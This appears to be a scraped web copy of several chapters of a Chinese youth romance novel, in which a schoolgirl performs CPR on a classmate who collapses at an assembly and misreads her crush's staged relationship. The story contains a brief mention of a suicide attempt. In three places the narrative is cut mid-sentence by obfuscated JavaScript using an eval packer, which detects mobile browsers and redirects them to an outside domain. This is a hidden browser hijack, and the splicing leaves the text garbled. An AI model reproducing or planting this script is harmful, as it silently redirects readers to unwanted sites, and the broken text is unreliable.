李安蓝有意无意地看了眼喻星旋,看到她低垂着眼眸认真看书,情绪似乎有些低落,忽然觉得有点可惜。 她还以为陈嘉授真的对她很特别呢,没想到还是有女朋友了。 “喻星旋……你是不是不太开心啊?” 每年爸爸忌日的这几天,奶奶的状态都不太好,昨天她一天都把自己锁在屋子里,喻星旋很担心。 她不太想让别人知道自己家里的情况,淡淡地说:“没有。” 过了会儿,喻星旋看到商芝琳又把头转了过来,跟李安蓝小声地咬着耳朵。 不知道是谁嘀咕了一句:“……她真的很难接近。” 感觉像是在说她。 陈嘉授有女朋友的事,发酵得比她想象中快得多。 两节课后,李安蓝带着前线战报八百里加急回来:“我打听了一下,那个女生叫沈艺棠,是二十七中的,沈林风的堂妹。” 二十七中是长南最好的艺术类高中。 “但是,”李安蓝话锋一转,“据陈嘉授的初中同学说,他和沈艺棠不是男女朋友。他们三个是发小,从小一起长大,经常在一起玩。” 商芝琳松了口气:“那就好那就好!校园男神有女朋友,总觉得掉逼格。” “但是——” 商芝琳被李安蓝的大喘气搞得一上一下:“不许但是!” “他们的同学说的是,他们初中不是男女朋友,可没说现在。或许,陈嘉授对她有点特殊的感情也说不准……” “啊……”商芝琳失望地往桌上一趴,“所以还是啊?” 喻星旋回想陈嘉授那天的言行,似乎一切都能解释得通了。 见到她时反应冷淡,可能是因为之前吵过架,闹过矛盾。 最后他拿过她的书包,也是在主动拉下脸来哄人。 原来他只是对不喜欢的人冷漠。 认清了这个现实,喻星旋好像也没有多难过。 李安蓝那边已经快进到分享起了沈艺棠的照片。 “她长得没有我想象中漂亮哎,不过艺术生嘛,应该都擅长化妆和打扮。她戴的耳钉好精致,不知道校门口精品店有没有同款啊?” “我看看……她的耳钉好像是Tiffany的,学校门口可没得卖。” “……” 商芝琳递给她手机,友好地问:“喻星旋,你要看看嘛?” 李安蓝拦着已经来不及了,没想到喻星旋特别心平气和:“看过了。” "照片?" "本人。" 喻星旋说出来时,有一种莫名扭曲的痛快:“上周五放学,她来我们班的时候,我也在。” 又带着几分,对她们庸俗的关注点的不屑一顾:“她笑起来很甜,本人很漂亮。” 仿佛她客观地、不带任何个人感情地陈述,就能催眠自己并不在意。 省去了那天她的好奇,她的迂回,她的窥视,她的多此一举。 也守住了在遇见沈艺棠和陈嘉授时,她拼命维护的自尊。 这下李安蓝也放心了,松了口气说:“白担心了,喻星旋,我还怕你喜欢陈嘉授接受不了呢。” 喻星旋心猛地一跳:“我?喜欢他?” “现在没事了,我知道你根本不喜欢他。” 李安蓝就没见过谁知道喜欢的男生有女朋友,还能夸自己的情敌漂亮的。 商芝琳一脸憧憬:“好想亲眼看看他们怎么相处啊,你说这周五他女朋友还来吗?” 上课铃响,这节课上物理,王世富带着课本走上讲台。商芝琳和李安蓝的话题终于止住。 喻星旋放下了那股悬着一口气的烦躁感,努力投入地听课。 下课前,老王提醒大家,下午第一节课就是高一的开学典礼了,让大家提前十分钟到班里集合。 “班长到时候负责列队,带大家去操场。” 教室后排,男生嗓音偏冷沉,嗯了声。 经过上周五亲眼看到他女朋友,喻星旋以为自己已经不会再关注这个人。可亲耳听到他的声音,依旧会觉得头皮发麻。 中午喻星旋依旧跟祝媛在食堂吃饭,两人都不想回班,就拉着手在学校里四处游荡。 学校里有一个小花园,石板路尽头通往一个爬满了紫藤花的回廊。 喻星旋和祝媛走累了,打算去石板路旁边的石椅上休息,刚一走过去,就听到紫藤花架后传来了一个男生的声音。 男生同时听到外面的声音抬头。 看到同班的喻星旋,施秦脸上划过一道明显的尴尬,把手里那份手写的发言稿往身后藏了藏。 “……施秦?你怎么在这儿?” “出来走走。”施秦瘦削秀气的脸上苍白,尽量云淡风轻道,“顺便背一背下午发言的内容。” “那我不打扰你了。”喻星旋看出施秦浑身不自在,拉上祝媛告辞,“我们先回去了,下午发言加油。” 施秦期待地笑笑:“嗯,我会的。” 不知为何,看到施秦用力掩饰着的紧张颤抖,喻星旋脑海中,忽然闪回出那天陈嘉授在办公室拒绝老高提议时轻松闲散的态度,莫名地有点难受。 回教学楼的路上,祝媛问:“刚才那个是谁,你们班的?” “他是我们班的另一个市状元。” 喻星旋跟他交集并不多,但也知道施秦是班里最努力的学生。 他下课几乎从来不离开座位,每天都是一个人独来独往,就好像心里只装着学习一件事。 无论何时,留给班里同学的都是一个微微佝偻的伏案的背影。 虽然中考的分数一模一样,但他跟陈嘉授,是天差地别的两类人。 祝媛明显地抓住了她话里的细节:“为什么是另一个,还有一个呢?” “……还有一个,叫陈嘉授。” 祝媛唔了声:“这名字听起来好耳熟,他好像挺出名的。” “好像是吧,我也不太清楚。” 施秦知道这个机会是陈嘉授当初不要的吗。 如果知道,他还会那么期待上台吗? 喻星旋忽然有点不安。 … 下午两点钟,是阳光最晃眼的时候,开学典礼正式开始。 穿着校服的高一学生汇进操场上,像一片蓝白色的海洋。 主席台上,各个校领导进行了冗长的讲话,直到优秀学生上台领奖的环节,学生们中间才开始有了隐约的反响。 “陈嘉授、施秦、童卓文……喻星旋……刘莉。请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818981|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以上十五名同学到主席台领奖。” 接受表彰的是中考全市前二十名的同学。 喻星旋从二班的队伍中起身,忽然听到身后的男生队伍中传来一阵争执—— 是施秦和宋朗浩。 喻星旋回头时,施秦正堪堪稳住差点被绊倒的身体,抬手扶住眼镜:“你干什么?!” 宋朗浩大喇喇地敞着腿:“瞪我干嘛?我又不是故意的。” 喻星旋又抬眼看向前面。陈嘉授是班长,从一开始就坐在第一排,自始至终没听到后面的纷争。 喻星旋犹豫了一下,快速走到施秦身边:“走吧,别耽误领奖。” 施秦捏紧了拳头,不再理会宋朗浩的嘲讽,两人一起走到主席台下列队。 巧得很,那天给喻星旋颁奖的,刚好是邱主任。 他好像认出了喻星旋,她故意盯着他看,邱主任把奖状和奖杯递给她时,神情明显有些尴尬。 领奖的环节过去,所有人从另一侧走下主席台。 其他人可以回班级,但施秦还要留下进行下一个环节。 这次喻星旋没有再放慢脚步,看陈嘉授走路的背影,而是匆匆地回到了队伍中。 主持人:“下面有请高一年级的学生代表上台发言,大家欢迎。” 看到站在台上的人,喻星旋旁边一个三班的女生立刻不满意地抱怨起来:“学生代表怎么是他?我还以为是二班班长呢。” 同伴提醒她:“他们班两个状元。” “我知道,但我就是想看帅哥嘛。” 音响里传出刺耳的电流嗡鸣声,施秦清清嗓子,声线不稳地开口: “尊敬的同……老师,亲爱的同学们,大家下午好。” 想不到他第一句就嘴瓢,场下有明显的笑声响起。 喻星旋眉心紧蹙,不知怎么比施秦还要紧张。 所幸中间的内容施秦没再掉链子。 直到演讲开始收尾:“……我们要时刻谨记,这是奋斗的征程,是希望的征程——” 突如其来的一个破音。 主席台下笑得收不住。 那个三班的女生笑得肚子痛:“我说二班班主任是多想不开,才会派他去开学典礼上丢人啊。” 喻星旋挪开视线,已经不忍心再看主席台。 她觉得施秦好可怜,也为他感到气愤和不解。 陈嘉授不要的机会,才能轮到别人。甚至,很多人甚至会忽略施秦本来就是有资格的。 可得到这个机会的人却视若珍宝。 主席台上,施秦硬撑着结束了自己的演讲。没有人发现,他两只手死死地攥着话筒,嘴唇青紫,牙关打颤,豆大的汗珠一滴一滴地顺着脸颊滑落。 他摇摇晃晃地走下主席台,下完最后一级台阶时,终于支撑不住,倒在了地上。 喻星旋猛地站起来,看到陈嘉授像离弦的箭一般冲出去。 …… 整个主席台下乱成一团。 王世富正往施秦那里赶,忽然被一只清瘦的手拉住衣服。 喻星旋沉着说道:“老师,您先别过去,让人去叫校医带上AED过来,记得打120。” “你呢?” 喻星旋说完就挤开人群往前走:“我妈妈是医生,她教过我急救。” 喻星旋赶到的时候,施秦周围已经围了不少人。 他嘴唇发紫,脸颊没有一丝血色。众人正手忙脚乱地把他放到陈嘉授背上,打算背他去校医院。 喻星旋:“别动他,你们先散开,把他平放到地上。” 有个中年男老师指责喻星旋:“你一个学生捣什么乱,他中暑晕倒了,得赶紧送到校医院!” “你能确定他是因为中暑晕倒吗?万一他以前就有心肺方面的问题,你这样贸然挪动他是很危险的!” 男老师懒得理她,对陈嘉授说:“你别听她的,抓紧时间把人送医院。” 情况紧急,喻星旋顾不上别的,直接上了手。 陈嘉授手腕忽然被人隔着校服握住。 他不习惯别人碰他,下意识皱眉,那只细白的、属于女生的手却好像分外有力。 他的视线顺着向上望去,撞上了喻星旋焦急但坚定的眼睛。 她盯着他,紧张地摇头:“不要。” “……” 半秒钟不到,陈嘉授做了决定:“帮个忙,扶他躺下。” 男老师气得拂袖而去:“你们就瞎搞吧,闹出人命才好!” 喻星旋在施秦右边手跪地,拉开他的校服拉链,迅速地把他扣到最上方的两颗纽扣解开,指尖在他胸口比划了一下。 周围人开始议论纷纷。 “我靠,她不会要给他做人工呼吸吧!” “虽然说是为了救人,但她牺牲也太大了……” 喻星旋充耳未闻,正要进行按压,忽然有一双修长有力的手抓住她的胳膊,把她从地上拉起来。 他的举动跟温柔毫不沾边,力道甚至扯得人手臂发疼。 反应过来后,喻星旋用力挣开他的手:“你干什么!?” 她仰起头来时,碎发的间隙中掩藏着的发红的眼尾在他面前暴露无遗。 陈嘉授不明显地皱了皱眉。都委屈成这样了,装什么人命关天。 明晃晃的日光下,陈嘉授干脆利落地跪在她刚才的位置上,卷起袖子。 “你力气小按不动。你指挥,我来。” 10. 她哭了 . 喻星旋的妈妈常告诉她,天大的隔阂也比不上人命关天,更遑论性别。 妈妈是西南某个边防检查站的医生,那里地处偏僻,树林丛生。她和同事们一视同仁地救治所有的伤患,包括从边境偷渡进来,遍体鳞伤的外国人。 所以,施秦是男是女,对她而言真的没有那么重要。 只是,在看到失去意识,躺在滚烫的地面上的施秦时,喻星旋忽然想起了爸爸。 她好像知道爸爸的答案了。 其实当年,喻星旋的爸爸本来是有机会生还的。 他会水,在流动的湍急江水中后快速地找到方向,一路托举着那名群众露出水面。但因为水势太急,他吸进了太多水,被救上来时暂时没了呼吸。 如果这时有人对他进行抢救,一切都还来得及。但在场的都是当地村民,他们都以为他活不成了,有人拍打,有人哭泣,有人去叫医生,就是没有人尝试给他做心肺复苏。 医护人员赶到时,爸爸已经错过了最佳的抢救期,再也无力回天。 喻星旋不止一次想过,当初围观的人们,哪怕有一个懂得急救常识,爸爸的结局,是不是都会不一样。 这样本可以避免的牺牲,真的是值当的吗? 她想不通,但她知道,就算再来一次,爸爸依旧会跳进冰冷的江水里。 但不同的是,这一次,有她在他身边。 她一定会挽救他,就像对现在昏迷在地的施秦一样。 可她刚要开始,就被陈嘉授冷着脸从地上扯起来,她一时搞不清状况。只能用颤得厉害的声音,开始指挥他进行第一组胸外按压。 施秦的希望,好像从这一刻开始,暂时绑定在了他们两个人手上。 这也让喻星旋放下了最后一丝顾虑。 一组胸外按压还没做完,人群外就有人高喊:“让一下让一下,大夫来了!” 所有人霎时退开,校医带着专业的抢救设备迅速对施秦进行了救援。 像是只有短短几十秒,又好像过了一个世纪那么漫长。 “病人自主呼吸心跳恢复,血压回升。” …… “抢救成功。” 围观的人群终于松了口气,继而有人欢呼起来。 喻星旋紧绷的身体在一瞬间松懈,腿软得站不住,陈嘉授眼疾手快地扶了她一把。 因为他的力道,喻星旋的身体重心发生了偏移,转而倒向他身上。 或许是情况特殊,陈嘉授并没推开她,由着她靠了两秒才开口:“站稳了?” “……” 几乎是他出声的同时,喻星旋已经身体站直,迅速跟他拉开一臂远。 施秦被医生抬上担架送往校医院,一位留下善后的校医询问:“刚才是谁替学生做的心肺复苏?” 她看向陈嘉授:“是你吗同学?” “不是我。”陈嘉授摇头,目光坦荡,“是她。我不知道要做。” 老王也插话道:“对,刚才让我抓紧去叫你们过来的也是喻星旋。” 校医赞许地望着喻星旋笑:“同学,你很有经验啊,幸亏刚才你反应及时。万一刚才把他当成中暑,他现在可能就有生命危险了。” 喻星旋红着眼眶:“医生,施秦怎么样了?” “已经没事了,需要继续观察一段时间,班主任过来,跟我回校医院签字了解一下情况。” 王世富对喻星旋和陈嘉授说:“你们也一起过来看看他吧。” 校医院。 几分钟前,他们刚刚得知,施秦今天的晕倒并不是一次偶然事件。而是先天性心脏病突然发作。 大夫说,这次发病的诱引应该是极大的情绪波动,导致心脏停搏,大脑供血不足。 施秦正在观察室输液,双眼紧闭,脸色仍旧很差。 陈嘉授:“走吧,先出去。” 二人一前一后地离开,喻星旋轻轻地带上门,一直跟着他,走到楼梯拐角处。 这里距离操场不远,还能听到开学典礼上传来的声音。 没有一个人、一件事,因为今天突然的插曲而受到影响。 不知道为什么。 明明施秦得救了,皆大欢喜,她却只觉得天大的难过。 “你还要多待一会儿?没什么事我先回去?” 陈嘉授说完这话,却半天没等到回答,他带着疑惑转身,看到她靠着墙壁蹲下,两颗水渍啪嗒砸在脚边。 陈嘉授这才意识到,她哭了。 一开始只是无声地哭,后来却像是情绪忽然爆发了一般,再也忍不住,由小声的抽噎,变成充斥整个楼梯间的哭声。 陈嘉授伸出的手停住。 忽然想起了操场上,她被他拉起来时的样子。她一定很不情愿,不然眼睛怎么会红成那样。 但他给她台阶下她还要逞强。好像他不是帮她解围,反而耽误了她的发挥。 陈嘉授几乎没有安慰过人,他本来是想离开的,看到她的模样,又改变了主意。 总不能放她一个人在这儿哭,不然有人路过,还以为别人怎么她了。 喻星旋在楼梯间自己哭了一会儿,情绪消化完,再抬眼时,看到陈嘉授倚着扶手的侧影。 像是感应到她哭够了,陈嘉授也转过头,垂眼看过来,遥遥地对上视线。 陈嘉授唇线动了动,没说话,手指伸进口袋里,刚准备掏出纸巾递过去,转眼就看到她随手用袖子揩了揩脸颊。 脸上泪痕消失,又变成平日里刀枪不侵的冷淡模样。 “……” 纸巾没拿出来,陈嘉授淡淡地把手背回身后,忽然觉得他就多余在这儿等。 喻星旋刚才哭得还有点懵,下意识问:“你怎么没走?” “施秦还没醒。” 果然是这个原因,总不可能是在等她。喻星旋抬步上楼梯:“时间差不多了,我再上去看看。” 陈嘉授跟在后面。喻星旋走了几步路,忽然听到身后传来他略显冷淡的声音,好像嫌弃她给他添了麻烦:“不愿意下次就别勉强。” “……不是因为这个。” “那是因为什么?” “我自己的事。” 只差把“你少多管闲事”写在脸上。陈嘉授一时气结,她这副样子,让人想为她心疼都不知道从哪里开始。 踏上最后一阶楼梯时,陈嘉授忽然想到军训那阵,曾经听到过的别人口中的喻星旋。 男生凑在一起,就开始无聊地给班里女生的长相排顺序。 陈嘉授对绝大多数女生都没印象,有一搭没一搭地听着,没参与他们的话题。 但在提到喻星旋时,他们忽然产生了争议。 反应最激烈的当属宋朗浩:“这女的太傲了,先说好反正我看不上这种女生。” 人家在乎吗。 陈嘉授扯了下唇,那会儿他还不知道喻星旋是谁,只在成绩单上他的名字下面扫到过这个名字,也不至于是为她说话,他单纯是觉得宋朗浩毫无自知之明。 当时陈嘉授有些鄙薄,冷不防地插了一句:“玛丽居里在你们那儿一定没人要。” 现在看来,他们说的倒也不全错。 陈嘉授冷嗤一声。 - 走近观察室,就听到房间里传来动静。施秦醒了,虚弱地咳嗽。 喻星旋关心的话还没说出口,施秦发现了门边的人,忽然怒目瞪着她的方向,情绪瞬间激动起来:“你来干什么,来看我笑话吗?” 喻星旋倒是能理解他现在的心情:“那我们不打扰你了,你好好养病。” 施秦却又放缓了语气:“……等等,喻星旋,我想跟你说几句话。” 喻星旋感到意外,下意识看向身边的男生,原来施秦的敌意,针对的是另一个人。 施秦像座随时有可能爆发的火山,她不太想跟这个状态下的人聊天,总觉得压力很大。 但她更不想跟陈嘉授单独相处。 毕竟刚刚,她才在他面前那样哭了一场。 而且她也不敢再跟他说话了,一见到陈嘉授,就是在重复提醒自己她对一个有女朋友的男生有好感的事实,她怕自己好不容易建起的心防,因为他的几句话再度垮塌。 “陈嘉授,你先出去吧。” 陈嘉授点头,好像并不在乎施秦是否针对自己:“护士在隔壁房间,有事喊她。” 男生的背影远去了。 喻星旋递给施秦一杯温水:“你还好吗?” 施秦接过来,表情麻木,双眼黯淡,自嘲地笑了声:“还好,托他的福,在全校面前丢了个天大的人。” 喻星旋微怔:“你知道了啊。” “有谁会猜不到?如果不是陈嘉授不想上,哪能轮得到我。” “你别这样想,你的发言稿写得很好,而且,如果你不是因为身体原因体育没拿满分,你才是今年的全市第一。” “我是第一又怎么样?别人不会因为我是第一就高看我一眼,正数第一和倒数第一又有什么区别?” 现在的施秦完全拒绝交流,只想发泄情绪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818982|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻星旋站起来向外走,“施秦,你先别激动,我帮你叫护士过来。” “喻星旋,其实咱们都一样,再怎么努力也赶不上别人靠着家世就能得到的成就。你知道他家的情况吗?” 仿佛是怕喻星旋真的走了,施秦一着急,把所有事情都说了出来:“他太姥爷是陈自钧。” 犹如晴天霹雳。 喻星旋的耳膜轰隆作响,半天才找回自己的声音:“两弹学家,陈自钧?” 施秦的话犹如连珠炮般: “你知道他的名字是怎么来的吗?陈嘉授出生那年,陈自钧被国家授予了共和国勋章。” “我小学、初中都跟他一个学校,以前大家都觉得陈嘉授的名字奇怪,后来才知道,嘉是嘉奖的嘉,授是授勋的授。他就连名字都带着陈自钧的光环,你还觉得他不是靠着家里?” 喻星旋实在止不住震惊:“除了他是陈自钧的后人呢?” 施秦却冷笑一声:“除不了吧。” 喻星旋彻底不知道说什么了。 幸好这时,护士来给施秦换药。喻星旋踟蹰了一下,还是对施秦说:“其实,你倒下的时候,陈嘉授是第一个跑过去的。他也帮你做了急救。” “你觉得这样我就应该对他感恩戴德?他只不过想用别人成就他的名声。喻星旋,我劝你以后也离他远点吧,我们普通人根本不可能跟他平等相处。” … 喻星旋告辞施秦,回到操场后没多久,开学典礼就结束了。她跟李安蓝和商芝琳一起回班级。 李安蓝佩服地说:“喻星旋,你刚才拉住老王让他去叫人的时候,好像女侠啊。” 商芝琳则有点纠结:“如果,我是说如果,陈嘉授没有拉你起来的话,你真的会给施秦做人工呼吸吗?” “会。” “可当时很多人等着看你笑话,你信不信如果你做了,回去之后一定会有人起哄,而且还会说得很难听。” “无所谓,我不怕他们说。” 商芝琳担忧道:“谣言猛于虎啊。” “没发生的就不要想了,而且校医赶来得也及时,就算是陈嘉授,最后也没给他做人工呼吸啊。”李安蓝捧着脸开始花痴,“我觉得陈嘉授肯定也想到你是女生,所以才主动帮你的。他真的好有正义感哦。” 喻星旋从刚才起就显得思维出走,没接茬。 几步之遥的身后。 沈林风看了眼陈嘉授平静无波的脸色,探究道:“授,我咋觉得,喻星旋好像不怎么买你账啊。” “哪那么多话。” 陈嘉授从前方某处移开视线,“以后谁也别管她,她爱做人工呼吸,就让她做个够。” 沈林风:“……” - 离开校医院前,施秦对喻星旋说的那番话,像是在她脑海中扎下了根。一直持续到晚上回家。喻星旋因为一道不会做的题目,破天荒地去书房开了电脑。 搜到解题思路后,她也没关机,而是又打开了搜索引擎,在搜索框里敲下“陈自钧”三个字。 百科内容很快弹出来。 屏幕右侧,是一张陈自钧年轻时的黑白照。 陈嘉授的长相,其实跟陈自钧并不太像。陈嘉授眉眼颜色深,眉骨的形状很漂亮,是那种放在人群中绝不会蒙尘的、扎眼张扬的好看。但那张老照片,还是让喻星旋瞬间联想到陈嘉授。 他们的气质很相似。一样的低调沉稳,有种极为周正的文气。 “闪闪,原来你在这儿啊。”奶奶忽然出现在书房门口,“看你不在房间,还以为你出门了呢。” 明明也没看什么不该看的,喻星旋却慌乱地关掉网页:“我在查题目。” 奶奶没多想,嘱咐她饭已经做好了,查完题目就出去吃饭。 奶奶离开了,喻星旋却把脸埋在袖子里。 连呼吸都有点缺氧,脸颊也重新开始发烫。 其实她刚才的掩饰很拙劣,但奶奶丝毫没怀疑。 所有认识喻星旋的人都对她十分放心,是因为她表现出的、远超同龄人的自制力。 什么该做,什么不该做,什么能要,什么不能要,从来没有人告诉过喻星旋这些道理,可她从小就懂。 而此刻,有些不受控的想法,让她莫名有些恐慌。 似乎如果放任自己下去,事情就会走向不可预知的方向。 她不想变成那样的人,一点都不想。 … 施秦说得对。 从明天开始,她真的要跟陈嘉授保持距离了。 11. 你不追 . 喻星旋书吧的兼职从这周五开始。 周四放学之后,祝媛陪喻星旋一道去了趟书吧,提前了解下她第二天的工作。 晓婷姐很高兴她能来,边带她们在店里参观,边对喻星旋介绍。 “这几排是小说,靠里的是杂志和漫画。” “闪闪,你的工作就是在柜台收银。如果有人来还书,就扫一下书上的条码,然后把归还的书都放到一起。另外还要帮顾客下单甜点和饮料。” 黄晓婷带她熟悉操作系统,喻星旋只看了一遍演示,很快就能上手。 离开书吧时,时间还早。祝媛请喻星旋吃甜筒,两人站在公交站牌下等车。 九月初的长南,空气中还有闷热的燥意。 “祝祝,你广播站竞选的事怎么样了?” “哦对,我都忘了跟你说,已经进复试了。”祝媛摇着喻星旋的胳膊,毫不掩饰溢美之词,“我觉得,就是你给我拍的那组照片赢面最大!” “照片不算什么,他们认可的是你的业务水平。”喻星旋笑的时候,眉眼和嘴唇的弧度浅浅,“不过,晓婷姐介绍的工作,你确定不跟我一起?我们一人一个星期。” 晓婷姐出手阔绰,每小时的工资居然有三十块,抵她一个星期的早餐钱。 “还是不了,我三天打鱼两天晒网的,不知道哪天就不想来了……” 祝媛偏头看向喻星旋,却发现喻星旋目光正追随着校门口的某个人,明显没在听她的话。 祝媛顺着喻星旋的目光望去,只看到一片不同年级的校服,有人步行,有人骑车,半天也没法确定目标。 祝媛站到喻星旋身后,好奇问道:“你在看谁?” 男生的身影已经汇入地平线,完全消失。喻星旋这才摇头:“没谁,好像看到了一个同学。” “好吧。”祝媛吃掉最后一口甜筒,望眼欲穿地张望公交车来的方向,“唉,咱们的车怎么还不来啊。” 喻星旋脑海中,还浮现着刚才的那一幕。 校门口密集的人群,人来人往,但她一眼就辨认出他。 陈嘉授跨上车,骑车远去,蓝白校服的背影在林荫道上穿梭。天色未晚,一路有细碎的绿色光斑落在他肩头,让人觉得周围的暑热都清凉了许多。 自从周一晚上决定要跟陈嘉授保持距离,接下来的几天,除了收发物理作业,喻星旋再没跟他打过照面。 只要她不主动在人群中搜寻他,陈嘉授甚至不会出现在她面前。 虽然失望,但她很快就习惯并适应。 她没有争取的勇气,却从不缺乏放弃的智慧。 “喻星旋,你在等车?” 一道男声忽然从身后传来。 喻星旋转过身,没想到能在这里碰到施秦。 “施秦?我记得你不是住校吗?” “嗯,出来买点文具。”施秦过马路前,似是犹豫,问喻星旋,“你们吃过饭没,要一起吗?” 祝媛的目光就在两人身上来回打转。 喻星旋无奈地笑了一下:“不好意思了,我今天去她家蹭饭。” 施秦离开没多久,公交车缓缓进站。 回去路上,祝媛问:“刚才的人怎么有点眼熟?我想起来了!他就是那天做完演讲后晕倒的男生?” 这列公交上有许多长中的学生。想到他们中肯定有人目睹过那一幕,喻星旋有点于心不忍:“他也蛮倒霉的,别再提这回事了。” “这事闹那么大,不提都难吧,我们班都议论好几天了。”祝媛话锋一转,“不过我们班女生的话题倒也不是他,是另一个人。” 喻星旋心猛地一跳,像被戳穿心事。她既庆幸祝媛不知道,又忍不住从其他人口中听到他,心上那个小洞不断向外漏气,让头脑都有些微缺氧。 “哪一个?” “后来又跟你一起帮他的那个呀。哎,对了闪闪,你跟他关系怎么样,最近总有人打听他联系方式,都打听到我这儿来了。” “一般。”喻星旋顿了顿,总觉得自己的语气不太自然,“……而且他有女朋友。” 祝媛不疑有他:“我就说嘛,那么大一个帅哥怎么可能是单身,也不知道他们能在一起多久。” 就好像长相优越的人,理所应当的是薄情、浪荡、不用对别人的感情负责的。她跟祝媛其实都默认了这一点。 但当这个人是陈嘉授时,她却无法做到完全事不关己。 陈嘉授会分手吗?喻星旋对他们的过去一无所知,但想到这里时,却清晰地产生了一个念头—— 就算陈嘉授明天就分手,她大概,也再也回不到心无旁骛地观望他的时候了。 - 周五因为要去书吧兼职,喻星旋把手机带到了学校。 虽然晓婷姐保证,晚上关店后送她回家,但奶奶还是不太放心她的安全,让她带上手机,方便跟家里联系。 一放学她就离开了学校,到书吧时,店里还没什么客人。喻星旋回忆了会儿工作内容,门边就响起一阵清脆的风铃声,有长中的学生推门进店。 喻星旋帮他们下单了饮料,暂时空闲下来,她这才把手机打开。 微信瞬间被李安蓝发来的信息塞满: 【喻星旋,谁让你这么早走的!】 【你知不知道你刚才错过了什么!!!】 【陈嘉授女朋友居然来我们班外面找他了!!!】 【她胆子真挺大的,混进我们学校,居然不穿校服】 【当时班里人几乎都在,沈林风先出去的,然后他进来跟陈嘉授说了一声,他们就一起走了】 【我还纳闷她搞这一出是想做什么,商芝琳说,她就是为了宣示主权吧】 【也是,男朋友是陈嘉授,确实得有点危机感】 …… “咚”。不知从哪发出一声闷响,像一块石头被投进深湖,缓慢下坠,直至沉底。 以至于有顾客叫了喻星旋好几声,她这才匆忙把手机往下一塞,抱歉地对来人笑笑:“我刚才没听清,您再说一遍行吗?” - 没注意到班里的一小阵骚动是因为自己,沈林风推了推陈嘉授,他才看到沈艺棠站在二班外面。 陈嘉授眉心皱了又皱:“你又把她招来干什么?” “骗你是狗好吧,我招她干嘛啊我。”沈林风为自己叫屈,“你不信,我现在帮你出去问她。” 沈林风从后门走出去,片刻后他又回来,对陈嘉授说:“说是有重要的事情找我们,又是关于薛虹的。她还去叫了老白,说跟我们一块儿。” 陈嘉授眉眼间的不耐要溢出来。 他当初真是脑子进了水,才会答应薛虹妈妈的请求。 薛虹的病没见好多少,他自己却实实在在地麻烦缠身。 尤其是再加上最近班里的传言,逐个解释他觉得掉价,放任不管却又愈演愈烈。陈嘉授极度讨厌被人架起来的感觉,他虽然跟沈艺棠从小就认识,但再这么下去,他对她连仅剩的朋友情谊都要没了。 “算了阿授,你也别勉强自己,我和老白陪她去也一样。” “不用。” 陈嘉授面无表情,拎起书包起身:“走吧。” 在全班注视里,他和沈林风一起出门,留下身后议论纷纷。 走廊上。他们的另一个发小,三班的白峥,正跟沈艺棠站在一起。 陈嘉授并没发火,但沈艺棠也知道,她这次不请自来一定让陈嘉授很不高兴,他的目光全程没落在自己身上,傲慢且生人勿近。 沈艺棠的心里登时不是滋味起来。 其实,陈嘉授从前从不会对她这样的。 甚至对性格乖僻、班里几乎没人喜欢的同桌薛虹,都能礼貌相待,从不拜高踩低。 但或许是他的好意让薛虹误会成了喜欢,在父母离婚后,薛虹对陈嘉授表白了。 结果自然是遭到拒绝。之后,陈嘉授跟班主任要求,把他的位置调开。 谁也没想到,换位置之后不久,薛虹在课堂上割腕自杀,还留下一封针对陈嘉授的遗书。 薛虹被送往医院抢救过来,之后也没有再来上学。 一朝被蛇咬,十年怕井绳,自此之后,陈嘉授对追求者的态度变为了一视同仁的冷漠甚至苛刻,让她们从一开始就不要对他抱有期望。 中考结束后,陈嘉授跟他们几个去医院看望薛虹,见到了薛虹的妈妈。那天,女人恳求他们帮帮自己的女儿。 薛虹住院后经常做噩梦,梦见陈嘉授跟别人在一起,不肯吃任何药,也不肯接受任何治疗。 最后,薛虹的医生提出或许能够用重大刺激进行冲击治疗,也就是把这一幕照搬到薛虹眼前,用足够的刺激,让她对心心念念的人和事脱敏。 白峥和沈林风抢着演女主角,陈嘉授被恶心得不轻,这时,是沈艺棠主动站出来:“那我就勉为其难地陪你演戏吧,好好想想怎么谢我。” 他们跟刘沐、彭骏一等几个关系很好的朋友一起,策划了一出在薛虹面前的表白大戏。 在KTV里,像他们预演过的一样,沈艺棠表白,陈嘉授答应。 一切进展顺利,薛虹没有起疑。当天薛虹的妈妈就打电话来报喜,薛虹终于愿意接受治疗了。 然而,唯一的变数是沈艺棠也没想到自己会越陷越深。 沈家和陈家是生意伙伴,三人从小认识。而小时候,沈艺棠对陈嘉授从来没有朋友以外的心思。 可或许是暑假又跟陈嘉授他们结伴去看了薛虹几次,被默认他们是一对久了,不知从哪天开始,沈艺棠发现,她对陈嘉授的感觉也悄然发生了转变。 八月中旬,薛虹病情稳定,可以出院。陈嘉授给沈艺棠发去消息,说这段时间麻烦她,让她自己挑个礼物,他来付钱。 沈艺棠没回。她清楚地知道陈嘉授的意思。 如果她接受了他的礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 